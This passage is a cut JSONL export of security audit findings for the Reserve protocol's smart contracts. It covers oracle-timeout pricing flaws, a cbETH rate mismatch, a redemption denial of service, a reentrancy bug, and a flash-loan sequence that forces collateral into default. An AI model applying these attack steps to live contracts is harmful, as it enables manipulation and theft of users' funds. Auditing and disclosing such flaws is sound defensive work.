Vulnerability details\n\nThe CurveStableMetapoolCollateral is intended for 2-fiattoken stable metapools. The metapoolToken coin0 is pairedToken and the coin1 is lpToken, e.g. 3CRV. And the `config.chainlinkFeed` should be set for paired token. \n\n## Impact\nThe CurveStableMetapoolCollateral.price() high price will be about `FIX_MAX / metapoolToken.totalSupply()` when the price oracle of pairedToken is timeout. It is significantly more than the actual price. It will lead to unexpected pricing in the rewards trade and rebalance auctions. Further more, I think an attacker can trigger this bug proactively by out of gas, which can bypass the empty error message check because of the different call stack depth. But I have not verified the idea due to lack of time. So the issue here only details the high price caused by external factor, for example oracle timeout. Hope to add it under this issue if I have any other progress. Thanks.\n\n## Proof of Concept\nIn the `CurveStableMetapoolCollateral.tryPrice` function, the pairedToken price is from `tryPairedPrice` function by the following codes:\n```solidity\nuint192 lowPaired;\nuint192 highPaired = FIX_MAX;\ntry this.tryPairedPrice() returns (uint192 lowPaired_, uint192 highPaired_) {\n lowPaired = lowPaired_;\n highPaired = highPaired_;\n} catch {}\n\nfunction tryPairedPrice() public view virtual returns (uint192 lowPaired, uint192 highPaired) {\n uint192 p = chainlinkFeed.price(oracleTimeout); // {UoA/pairedTok}\n uint192 delta = p.mul(oracleError, CEIL);\n return (p - delta, p + delta);\n}\n```\nSo if the chainlinkFeed is offline(oracle timeout), the tryPairedPrice will throw an error which is catched by the empty catch block, and the price of pairedToken will be (0, FIX_MAX). \n\nAnd then the function `_metapoolBalancesValue` will use these pirces to get the total UoA of the metapool. The following codes are how it uses the price of pairedToken:\n```solidity\naumLow += lowPaired.mul(pairedBal, FLOOR);\n\n// Add-in high part carefully\nuint192 toAdd = highPaired.safeMul(pairedBal, CEIL);\nif (aumHigh + uint256(toAdd) >= FIX_MAX) {\n aumHigh = FIX_MAX;\n} else {\n aumHigh += toAdd;\n}\n```\nThe `aumLow` has already included the UoA of LpToken, so it is non-zero. And the highPaired price now is FIX_MAX, which will mul the paired token balance by `Fixed.safeMul`. We can find the Fixed lib has handled overflow safely:\n```solidity\nfunction safeMul(\n uint192 a,\n uint192 b,\n RoundingMode rounding\n) internal pure returns (uint192) {\n ...\n if (a == FIX_MAX || b == FIX_MAX) return FIX_MAX;\n```\nSo the `aumHigh` from the `_metapoolBalancesValue` function will be FIX_MAX. The final prices are calculated by:\n```\nlow = aumLow.div(supply, FLOOR);\nhigh = aumHigh.div(supply, CEIL);\n```\n`supply` is the `metapoolToken.totalSupply()`. So if the supply is > 1 token, the `Fixed.div` won't revert. And the high price will be a huge but valid value < FIX_MAX.\n\n\n## Tools Used\nManual review\n## Recommended Mitigation Steps\nDon't try catch the `this.tryPairedPrice()` in the `CurveStableMetapoolCollateral.tryPrice`, if it failed, just let the whole tryPrice function revert, the caller, for example refresh(), can catch the error.\n\n\n## Assessed type\n\nContext","dataSource":{"name":"code-423n4/2023-07-reserve-findings","repo":"https://github.com/code-423n4/2023-07-reserve-findings","url":"https://github.com/code-423n4/2023-07-reserve-findings/issues/25"}} +{"title":"The Asset.lotPrice doubles the oracle timeout in the worst case","severity":"medium","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/Asset.sol#L139-L145\n\n\n# Vulnerability details\n\nWhen the `tryPrice()` function revert, for example oracle timeout, the `Asset.lotPrice` will use a decayed historical value:\n```solidity\nuint48 delta = uint48(block.timestamp) - lastSave; // {s}\nif (delta <= oracleTimeout) {\n lotLow = savedLowPrice;\n lotHigh = savedHighPrice;\n} else if (delta >= oracleTimeout + priceTimeout) {\n return (0, 0); // no price after full timeout\n} else {\n```\n\nAnd the delta time is from the last price saved time. If the delta time is greater than oracle timeout, historical price starts decaying. \n\nBut the last price might be saved at the last second of the last oracle timeout period. So the `Asset.lotPrice` will double the oracle timeout in the worst case.\n\n## Impact\nThe `Asset.lotPrice` will double the oracle timeout in the worst case. When the rewards need to be sold or basket is rebalancing, if the price oracle is offline temporarily, the `Asset.lotPrice` will use the last saved price in max two oracle timeout before the historical value starts to decay. It increases the sale/buy price of the asset.\n\n## Proof of Concept\nThe `lastSave` is updated in the `refresh()` function, and it's set to the current `block.timestamp` instead of the `updateTime` from the chainlink feed:\n```solidity\nfunction refresh() public virtual override {\n try this.tryPrice() returns (uint192 low, uint192 high, uint192) {\n if (high < FIX_MAX) {\n savedLowPrice = low;\n savedHighPrice = high;\n lastSave = uint48(block.timestamp);\n```\nBut in the `OracleLib`, the oracle time is checked for the delta time of `block.timestamp - updateTime`:\n```\nuint48 secondsSince = uint48(block.timestamp - updateTime);\nif (secondsSince > timeout) revert StalePrice();\n```\n\nSo if the last oracle feed updateTime is `block.timestamp - priceTimeout`, the timeout check will be passed and lastSave will be updated to block.timestamp. And the lotPrice will start to decay from `lastSave + priceTimeout`. However when it starts, it's been 2 * priceTimeout since the last oracle price update.\n\n## Tools Used\nManual review\n## Recommended Mitigation Steps\n\nStarts lotPrice decay immediately or updated the `lastSave` to `updateTime` instead of `block.timestamp`.\n\n\n## Assessed type\n\nContext","dataSource":{"name":"code-423n4/2023-07-reserve-findings","repo":"https://github.com/code-423n4/2023-07-reserve-findings","url":"https://github.com/code-423n4/2023-07-reserve-findings/issues/24"}} +{"title":"CBEthCollateral and AnkrStakedEthCollateral _underlyingRefPerTok is incorrect","severity":"major","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/cbeth/CBETHCollateral.sol#L67-L69\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/ankr/AnkrStakedEthCollateral.sol#L58-L61\n\n\n# Vulnerability details\n\nThe `CBEthCollateral._underlyingRefPerTok()` function just uses `CBEth.exchangeRate()` to get the ref/tok rate. The `CBEth.exchangeRate()` can only get the conversion rate from cbETH to staked ETH2 on the coinbase. However as the docs `https://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/2023-07-reserve/protocol/contracts/plugins/assets/cbeth/README.md` the ref unit should be ETH. The staked ETH2 must take a few days to unstake, which leads to a premium between ETH and cbETH. \n\nAnd the `AnkrStakedEthCollateral` and `RethCollateral` has the same problem. According to the ankr docs, unstake eth by Flash unstake have to pay a fee, 0.5% of the unstaked amount. https://www.ankr.com/docs/liquid-staking/eth/unstake/\n\n## Impact\nThe `_underlyingRefPerTok` will return a higher ref/tok rate than the truth. And the premium is positively correlated with the unstake delay of eth2. When the unstake queue suddenly increases, the attacker can uses cbeth to issue more rtokens. Even if the cbETH has defaulted, the CBEthCollateral will never mark the state as DISABLED because the `CBEth.exchangeRate()` is updated by coinbase manager and it only represents the cbETH / staked eth2 rate instead of the cbETH/ETH rate.\n\n## Proof of Concept\nFor example, Now it's about 17819370 block high on the mainnet, and the `CBEth.exchangeRate()`(https://etherscan.io/token/0xbe9895146f7af43049ca1c1ae358b0541ea49704#readProxyContract#F12) is 1.045264058480813188, but the chainlink price feed for cbETH/ETH(https://data.chain.link/ethereum/mainnet/crypto-eth/cbeth-eth) is 1.0438.\n\n## Tools Used\nManual review\n\n## Recommended Mitigation Steps\nUse the `cbETH/ETH` oracle to get the `cbETH/ETH` rate.\n\nOr, the ref unit for the collateral should be the staked eth2.\n\n\n## Assessed type\n\nContext","dataSource":{"name":"code-423n4/2023-07-reserve-findings","repo":"https://github.com/code-423n4/2023-07-reserve-findings","url":"https://github.com/code-423n4/2023-07-reserve-findings/issues/23"}} +{"title":"CurveVolatileCollateral Collateral status can be manipulated by flashloan attack","severity":"major","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/curve/CurveVolatileCollateral.sol#L32-L65\n\n\n# Vulnerability details\n\n## Impact\nAttacker can make the CurveVolatileCollateral enter the status of IFFY/DISABLED . It will cause the basket to rebalance and sell off all the CurveVolatileCollateral.\n\n## Proof of Concept\nThe `CurveVolatileCollateral` overrides the `_anyDepeggedInPool` function to check if the distribution of capital is balanced. If the any part of underlying token exceeds the expected more than `_defaultThreshold`, return true, which means the volatile pool has been depeg:\n```solidity\nuint192 expected = FIX_ONE.divu(nTokens); // {1}\nfor (uint8 i = 0; i < nTokens; i++) {\n uint192 observed = divuu(vals[i], valSum); // {1}\n if (observed > expected) {\n if (observed - expected > _defaultThreshold) return true;\n }\n}\n```\nAnd the coll status will be updated in the super class `CurveStableCollateral.refresh()`:\n```\nif (low == 0 || _anyDepeggedInPool() || _anyDepeggedOutsidePool()) {\n markStatus(CollateralStatus.IFFY);\n}\n```\n\nThe attack process is as follows:\n\n1. Assumption: There is a CurveVolatileCollateral bases on a TriCrypto ETH/WBTC/USDT, and the vaule of them should be 1:1:1, and the `_defaultThreshold` of the CurveVolatileCollateral is 5%. And at first, there are 1000 USDT in the pool and the pool is balanced.\n\n2. The attacker uses flash loan to deposit 500 USDT to the pool. Now, the USDT distribution is 1500/(1500+1000+1000) = 42.86% . \n\n3. Attacker refresh the CurveVolatileCollateral. Because the USDT distribution - expected = 42.86% - 33.33% = 9.53% > 5% _defaultThreshold . So CurveVolatileCollateral will be marked as IFFY.\n\n4. The attacker withdraw from the pool and repay the USDT.\n\n5. Just wait `delayUntilDefault`, the collateral will be marked as defaulted by the `alreadyDefaulted` function.\n```\n function alreadyDefaulted() internal view returns (bool) {\n return _whenDefault <= block.timestamp;\n }\n```\n\n## Tools Used\nManual review\n\n## Recommended Mitigation Steps\nI think the depegged status in the volatile pool may be unimportant. It will be temporary and have little impact on the price of outside lp tokens. After all, override the `_anyDepeggedOutsidePool` to check the lp price might be a good idea. \n\n\n\n\n\n## Assessed type\n\nContext","dataSource":{"name":"code-423n4/2023-07-reserve-findings","repo":"https://github.com/code-423n4/2023-07-reserve-findings","url":"https://github.com/code-423n4/2023-07-reserve-findings/issues/22"}} +{"title":"User can't redeem from RToken based on CurveStableRTokenMetapoolCollateral when any underlying collateral of paired RToken's price oracle is offline(timeout)","severity":"medium","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/curve/CurveStableRTokenMetapoolCollateral.sol#L46-L54\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/curve/CurveStableCollateral.sol#L119-L121\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/curve/CurveStableMetapoolCollateral.sol#L122-L138\n\n\n# Vulnerability details\n\nThe CurveStableMetapoolCollateral is intended for 2-fiattoken stable metapools that involve RTokens, such as eUSD-fraxBP. The metapoolToken coin0 is pairedToken, which is also a RToken, and the coin1 is lpToken, e.g. 3CRV. And the `CurveStableRTokenMetapoolCollateral.tryPairedPrice` uses `RTokenAsset.price()` as the oracle to get the pairedToken price:\n```\nfunction tryPairedPrice()\n ...\n returns (uint192 lowPaired, uint192 highPaired)\n{\n return pairedAssetRegistry.toAsset(pairedToken).price();\n}\n```\n\n## Impact\nUsers can't redeem from RToken when any underlying collateral of paired RToken's price oracle is offline(timeout). It can lead to a serious run/depeg on the RToken.\n\n## Proof of Concept\n\nFirst I submitted another issue named \"RTokenAsset price oracle can return a huge but valid high price when any underlying collateral's price oracle timeout\". It's the premise for this issue. Because this issue is located in different collateral codes, I split them into two issues.\n\nThe conclusion from the pre issue:\n \n If there is any underlying collateral's price oracle reverts, for example oracle timeout, the `RTokenAsset.price` will return a valid but untrue (low, high) price range, which can be described as `low = true_price * A1` and `high = FIX_MAX * A2`, A1 is `bh.quantity(oracle_revert_coll) / all quantity for a BU` and A2 is the `BasketRange.top / RToken totalSupply`.\n\nBack to the `CurveStableRTokenMetapoolCollateral`. There are two cases that will revert in the super class `CurveStableCollateral.refresh()`.\n\nThe `CurveStableRTokenMetapoolCollateral.tryPairedPrice` function gets low/high price from `paired RTokenAsset.price()`. So when any underlying collateral's price oracle of paired RTokenAsset reverts, the max high price will be FIX_MAX and the low price is non-zero.\n\n1. If the high price is FIX_MAX, the assert for low price will revert:\n```\nif (high < FIX_MAX) {\n savedLowPrice = low;\n savedHighPrice = high;\n lastSave = uint48(block.timestamp);\n} else {\n // must be unpriced\n // untested:\n // validated in other plugins, cost to test here is high\n assert(low == 0);\n}\n```\n\n2. And if high price is There is a little smaller than FIX_MAX, the `_anyDepeggedOutsidePool` check in the refresh function will revert.\n```\nif (low == 0 || _anyDepeggedInPool() || _anyDepeggedOutsidePool()) {\n markStatus(CollateralStatus.IFFY);\n}\n```\nAnd the `CurveStableMetapoolCollateral` overrides it:\n```\n function _anyDepeggedOutsidePool() internal view virtual override returns (bool) {\n try this.tryPairedPrice() returns (uint192 low, uint192 high) {\n // {UoA/tok} = {UoA/tok} + {UoA/tok}\n uint192 mid = (low + high) / 2;\n\n // If the price is below the default-threshold price, default eventually\n // uint192(+/-) is the same as Fix.plus/minus\n if (mid < pairedTokenPegBottom || mid > pairedTokenPegTop) return true;\n }\n```\nSo the `uint192 mid = (low + high) / 2;` will revert because of uint192 overflow. The `CurveStableRTokenMetapoolCollateral.refresh()` will revert without any catch. \n\nBecuase RToken.redeemTo and redeemCustom need to call `assetRegistry.refresh();` at the beginning, it will revert directly.\n\n## Tools Used\nManual review\n## Recommended Mitigation Steps\nThe Fix.plus can't handle the uint192 overflow error. Try to override `_anyDepeggedOutsidePool` for `CurveStableRTokenMetapoolCollateral` as:\n```\nunchecked {\n uint192 mid = (high - low) / 2 + low;\n}\n```\nThe assert `assert(low <= high)` in the RTokenAsset.tryPrice has already protected everything. \n\n\n## Assessed type\n\nDoS","dataSource":{"name":"code-423n4/2023-07-reserve-findings","repo":"https://github.com/code-423n4/2023-07-reserve-findings","url":"https://github.com/code-423n4/2023-07-reserve-findings/issues/21"}} +{"title":"RTokenAsset price oracle can return a huge but valid high price when any underlying collateral's price oracle timeout","severity":"medium","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/RTokenAsset.sol#L163-L175\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/RTokenAsset.sol#L53-L69\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/p1/BasketHandler.sol#L329-L351\n\n\n# Vulnerability details\n\nThe RTokenAsset is an implementation of interface `IRTokenOracle` to work as a oracle price feed for the little RToken.\nRTokenAsset implements the `latestPrice` function to get the oracle price and saved time from the `cachedOracleData`, which is updated by `_updateCachedPrice` function:\n```solidity\nfunction _updateCachedPrice() internal {\n (uint192 low, uint192 high) = price();\n\n require(low != 0 && high != FIX_MAX, \"invalid price\");\n\n cachedOracleData = CachedOracleData(\n (low + high) / 2,\n block.timestamp,\n basketHandler.nonce(),\n backingManager.tradesOpen(),\n backingManager.tradesNonce()\n );\n}\n```\nThe `_updateCachedPrice` gets the low and high prices from `price()`, and updates the oracle price to `(low + high) / 2`. And it checks `low != 0 && high != FIX_MAX`.\n\nThe `RTokenAsset.price` just uses the return of `tryPrice` as the low price and high price, if `tryPrice` reverts, it will return `(0, FIX_MAX)`, which is a invalid pirce range for the oracle price check above. But if there is any underlying collateral's price oracle reverts, for example oracle timeout, the `RTokenAsset.price` will return a valid but untrue (low, high) price range, which can be described as `low = true_price * A1` and `high = FIX_MAX * A2`, A1 is `bh.quantity(oracle_revert_coll) / all quantity for a BU` and A2 is the `BasketRange.top / RToken totalSupply`.\n\n## Impact\nThe RToken oracle price will be about `FIX_MAX / 2` when any underlying collateral's price oracle is timeout. It is significantly more than the actual price. It will lead to a distortion in the price of collateral associated with the RToken, for example `CurveStableRTokenMetapoolCollateral`:\n```solidity\n pairedAssetRegistry = IRToken(address(pairedToken)).main().assetRegistry();\n \n function tryPairedPrice()\n ...\n {\n return pairedAssetRegistry.toAsset(pairedToken).price();\n }\n```\n\n## Proof of Concept\n`RToken.tryPrice` gets the BU (low, high) price from `basketHandler.price()` first. `BasketHandler._price(false)` core logic:\n```solidity\nfor (uint256 i = 0; i < len; ++i) {\n uint192 qty = quantity(basket.erc20s[i]);\n\n (uint192 lowP, uint192 highP) = assetRegistry.toAsset(basket.erc20s[i]).price();\n\n low256 += qty.safeMul(lowP, RoundingMode.FLOOR);\n\n if (high256 < FIX_MAX) {\n if (highP == FIX_MAX) {\n high256 = FIX_MAX;\n } else {\n high256 += qty.safeMul(highP, RoundingMode.CEIL);\n }\n }\n}\n```\nAnd the `IAsset.price()` should not revert. If the price oracle of the asset reverts, it just returns `(0,FIX_MAX)`. In this case, the branch will enter `high256 += qty.safeMul(highP, RoundingMode.CEIL);` first. And it won't revert for overflow because the Fixed.safeMul will return FIX_MAX directly if any param is FIX_MAX:\n```solidity\nfunction safeMul(\n ...\n) internal pure returns (uint192) {\n if (a == FIX_MAX || b == FIX_MAX) return FIX_MAX;\n```\nSo the high price is `FIX_MAX`, and the low price is reduced according to the share of qty.\n\nReturn to the `RToken.tryPrice`, the following codes uses `basketRange()` to calculate the low and high price for BU:\n```solidity\nBasketRange memory range = basketRange(); // {BU}\n\n// {UoA/tok} = {BU} * {UoA/BU} / {tok}\nlow = range.bottom.mulDiv(lowBUPrice, supply, FLOOR);\nhigh = range.top.mulDiv(highBUPrice, supply, CEIL);\n```\nAnd the only thing has to be proofed is `range.top.mulDiv(highBUPrice, supply, CEIL)` should not revert for overflow in unit192. Now highBUPrice = FIX_MAX, according to the `Fixed.mulDiv`, if `range.top <= supply` it won't overflow. And for passing the check in the `RToken._updateCachedPrice()`, the high price should be lower than FIX_MAX. So it needs to ensure `range.top < supply`.\n\nThe max value of range.top is basketsNeeded which is defined in `RecollateralizationLibP1.basketRange(ctx, reg)`:\n```solidity\nif (range.top > basketsNeeded) range.top = basketsNeeded;\n```\nAnd the basketsNeeded:RToken supply is 1:1 at the beginning. If the RToken has experienced a haircut or the RToken is undercollateralized at present, the basketsNeeded can be lower than RToken supply.\n\n## Tools Used\nManual review\n## Recommended Mitigation Steps\nAdd a BU price valid check in the `RToken.tryPrice`:\n```solidity\nfunction tryPrice() external view virtual returns (uint192 low, uint192 high) {\n (uint192 lowBUPrice, uint192 highBUPrice) = basketHandler.price(); // {UoA/BU}\n require(lowBUPrice != 0 && highBUPrice != FIX_MAX, \"invalid price\");\n```\n\n\n## Assessed type\n\nContext","dataSource":{"name":"code-423n4/2023-07-reserve-findings","repo":"https://github.com/code-423n4/2023-07-reserve-findings","url":"https://github.com/code-423n4/2023-07-reserve-findings/issues/20"}} +{"title":"Cross-Function Reentrancy Vulnerability Leading to Unintended Token Minting in `RewardableERC20Wrapper.deposit`","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/erc20/RewardableERC20Wrapper.sol#L41-L49\n\n\n# Vulnerability details\n\n## Impact\nThe `RewardableERC20Wrapper` contract, specifically the `deposit()` function, presents a significant vulnerability to both direct and cross-function reentrancy attacks. This vulnerability arises when an ERC777 token or another token type with \"hook\" functionality is used as the underlying token. A successful attack could lead to undesired token minting, which could then result in a distorted token supply, affecting the contract's overall integrity and the value of individual tokens.\n\n## Proof of Concept\nThe `deposit()` function in question, as currently inherited by [CTokenWrapper.sol](https://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/compoundv2/CTokenWrapper.sol#L8), [CurveGaugeWrapper.sol](https://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/curve/crv/CurveGaugeWrapper.sol#L19), and [StargateRewardableWrapper.sol](https://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/stargate/StargateRewardableWrapper.sol#L9), and probably more other asset plugin contracts in the future, is:\n\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/erc20/RewardableERC20Wrapper.sol#L41-L49\n\n```solidity\n /// Deposit the underlying token and optionally take an action such as staking in a gauge\n function deposit(uint256 _amount, address _to) external virtual {\n if (_amount > 0) {\n _mint(_to, _amount); // does balance checkpointing\n underlying.safeTransferFrom(msg.sender, address(this), _amount);\n _afterDeposit(_amount, _to);\n }\n emit Deposited(msg.sender, _to, _amount);\n }\n```\nIn this function, `_mint(_to, _amount)` is executed before `underlying.safeTransferFrom(msg.sender, address(this), _amount)`. An ERC777 token (or other token with similar hook capabilities) could trigger a reentrant call back to `deposit()`, leading to a sequence of operations where tokens get minted before the contract's state is correctly updated.\n\nMoreover, a cross-function reentrancy attack can exploit this vulnerability. Consider a scenario where another function `foo()` in the contract calls `underlying.safeTransferFrom()`. The execution flow could proceed as follows:\n\n1. `foo()` is called and invokes `underlying.safeTransferFrom()`.\n2. An ERC777 token contract is called, which then reenters the `deposit()` function.\n3. The `deposit()` function mints tokens and attempts to transfer tokens from `msg.sender` to the contract.\n4. Since the state of the contract is not updated until `foo()` finishes executing, an attacker could manipulate the contract into minting more tokens than they should receive.\n\nThis vulnerability highlights the importance of the check-effects-interactions pattern in contract development. Merely using a reentrancy guard may not prevent such sophisticated attacks. In the presence of `nonReentrant` visibility, the function could at least be exploited once where the cross-function reentrancy attacker ended up getting one free mint for whatever amount that is possible.\n\n## Tools Used\nManual\n\n## Recommended Mitigation Steps\n1. Add a reentrancy guard still to all public and external functions that modify the contract's state and call external contracts. This can be achieved by utilizing OpenZeppelin's `ReentrancyGuard` contract and the `nonReentrant` modifier.\n\n2. Refactor the deposit function to follow the check-effects-interactions pattern, where state changes are made after any external calls. The refactored function could look like this:\n\n```diff\n /// Deposit the underlying token and optionally take an action such as staking in a gauge\n function deposit(uint256 _amount, address _to) external virtual {\n if (_amount > 0) {\n- _mint(_to, _amount); // does balance checkpointing\n underlying.safeTransferFrom(msg.sender, address(this), _amount);\n _afterDeposit(_amount, _to);\n+ _mint(_to, _amount); // does balance checkpointing\n }\n emit Deposited(msg.sender, _to, _amount);\n }\n```\n\n\n\n\n\n## Assessed type\n\nReentrancy","dataSource":{"name":"code-423n4/2023-07-reserve-findings","repo":"https://github.com/code-423n4/2023-07-reserve-findings","url":"https://github.com/code-423n4/2023-07-reserve-findings/issues/19"}} +{"title":"Gas Optimizations","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-07-reserve-findings/blob/main/data/RaymondFam-G.md).","dataSource":{"name":"code-423n4/2023-07-reserve-findings","repo":"https://github.com/code-423n4/2023-07-reserve-findings","url":"https://github.com/code-423n4/2023-07-reserve-findings/issues/18"}} +{"title":"`Asset.lotPrice` only uses `oracleTimeout` to determine if the price is stale.","severity":"medium","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/Asset.sol#L140\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/NonFiatCollateral.sol#L52\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/Asset.sol#L61\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/curve/CurveStableCollateral.sol#L57\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/curve/PoolTokens.sol#L287\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/curve/PoolTokens.sol#L235\n\n\n# Vulnerability details\n\n## Impact\n\n`OracleTimeout` is the number of seconds until an oracle value becomes invalid. It is set in the constructor of `Asset`. And `Asset.lotPrice` uses `OracleTimeout` to determine if the saved price is stale. However, `OracleTimeout` may not be the correct source to determine if the price is stale. `Asset.lotPrice` may return the incorrect price.\n\n## Proof of Concept\n\n`OracleTimeout` is set in the constructor of `Asset`.\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/Asset.sol#L61\n```solidity\n constructor(\n uint48 priceTimeout_,\n AggregatorV3Interface chainlinkFeed_,\n uint192 oracleError_,\n IERC20Metadata erc20_,\n uint192 maxTradeVolume_,\n uint48 oracleTimeout_\n ) {\n …\n oracleTimeout = oracleTimeout_;\n }\n```\n\n`Asset.lotPrice` use `oracleTimeout` to determine if the saved price is in good standing.\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/Asset.sol#L140\n```solidity\n function lotPrice() external view virtual returns (uint192 lotLow, uint192 lotHigh) {\n try this.tryPrice() returns (uint192 low, uint192 high, uint192) {\n // if the price feed is still functioning, use that\n lotLow = low;\n lotHigh = high;\n } catch (bytes memory errData) {\n // see: docs/solidity-style.md#Catching-Empty-Data\n if (errData.length == 0) revert(); // solhint-disable-line reason-string\n\n // if the price feed is broken, use a decayed historical value\n\n uint48 delta = uint48(block.timestamp) - lastSave; // {s}\n if (delta <= oracleTimeout) {\n lotLow = savedLowPrice;\n lotHigh = savedHighPrice;\n } else if (delta >= oracleTimeout + priceTimeout) {\n return (0, 0); // no price after full timeout\n } else {\n // oracleTimeout <= delta <= oracleTimeout + priceTimeout\n\n // {1} = {s} / {s}\n uint192 lotMultiplier = divuu(oracleTimeout + priceTimeout - delta, priceTimeout);\n\n // {UoA/tok} = {UoA/tok} * {1}\n lotLow = savedLowPrice.mul(lotMultiplier);\n lotHigh = savedHighPrice.mul(lotMultiplier);\n }\n }\n assert(lotLow <= lotHigh);\n }\n```\n\nHowever, `oracleTimeout` may not be the accurate source to determine if the saved price is stale. The following examples shows that using only `oracleTimeout` is vulnerable.\n\n1. `NonFiatCollateral.tryPrice` leverages two price feeds to calculate the price. These two feeds have different timeouts. \nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/NonFiatCollateral.sol#L52\n```\n function tryPrice()\n external\n view\n override\n returns (\n uint192 low,\n uint192 high,\n uint192 pegPrice\n )\n {\n pegPrice = chainlinkFeed.price(oracleTimeout); // {target/ref}\n\n // Assumption: {ref/tok} = 1; inherit from `AppreciatingFiatCollateral` if need appreciation\n // {UoA/tok} = {UoA/target} * {target/ref} * {ref/tok} (1)\n uint192 p = targetUnitChainlinkFeed.price(targetUnitOracleTimeout).mul(pegPrice);\n\n // this oracleError is already the combined total oracle error\n uint192 err = p.mul(oracleError, CEIL);\n\n low = p - err;\n high = p + err;\n // assert(low <= high); obviously true just by inspection\n }\n```\nIf `targetUnitChainlinkFeed` is malfunctioning and `targetUnitOracleTimeout` is smaller than `oracleTimeout`, `lotPrice()` should not return saved price when `delta > targetUnitOracleTimeout`. However, `lotPrice()` only considers `oracleTimeout`. It could return the incorrect price when `targetUnitChainlinkFeed` is malfunctioning.\n\n2. To calculate the price, `CurveStableCollateral.tryPrice` calls `PoolToken.totalBalancesValue`. And `PoolToken.totalBalancesValue` calls `PoolToken.tokenPrice`. `PoolToken.tokenPrice` uses multiple feeds to calculate the price. And they could have different timeouts. None of them are used in `lotPrice()`.\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/curve/CurveStableCollateral.sol#L57\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/curve/PoolTokens.sol#L287\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/curve/PoolTokens.sol#L235\n```solidity\n function tryPrice()\n external\n view\n virtual\n override\n returns (\n uint192 low,\n uint192 high,\n uint192\n )\n {\n // {UoA}\n (uint192 aumLow, uint192 aumHigh) = totalBalancesValue();\n\n // {tok}\n uint192 supply = shiftl_toFix(lpToken.totalSupply(), -int8(lpToken.decimals()));\n // We can always assume that the total supply is non-zero\n\n // {UoA/tok} = {UoA} / {tok}\n low = aumLow.div(supply, FLOOR);\n high = aumHigh.div(supply, CEIL);\n assert(low <= high); // not obviously true just by inspection\n\n return (low, high, 0);\n }\n\n\n function totalBalancesValue() internal view returns (uint192 low, uint192 high) {\n for (uint8 i = 0; i < nTokens; ++i) {\n IERC20Metadata token = getToken(i);\n uint192 balance = shiftl_toFix(curvePool.balances(i), -int8(token.decimals()));\n (uint192 lowP, uint192 highP) = tokenPrice(i);\n\n low += balance.mul(lowP, FLOOR);\n high += balance.mul(highP, CEIL);\n }\n }\n\n function tokenPrice(uint8 index) public view returns (uint192 low, uint192 high) {\n ...\n\n if (index == 0) {\n x = _t0feed0.price(_t0timeout0);\n xErr = _t0error0;\n if (address(_t0feed1) != address(0)) {\n y = _t0feed1.price(_t0timeout1);\n yErr = _t0error1;\n }\n ...\n\n return toRange(x, y, xErr, yErr);\n }\n```\nWe can also find out that `oracleTimeout` is unused. But `lotPrice()` still uses it to determine if the saved price is valid. This case is worse than the first case.\nhttps://github.com/reserve-protocol/protocol/blob/9ee60f142f9f5c1fe8bc50eef915cf33124a534f/contracts/plugins/assets/curve/CurveStableCollateral.sol#L28\n```solidity\n /// @dev config Unused members: chainlinkFeed, oracleError, oracleTimeout\n /// @dev config.erc20 should be a RewardableERC20\n constructor(\n CollateralConfig memory config,\n uint192 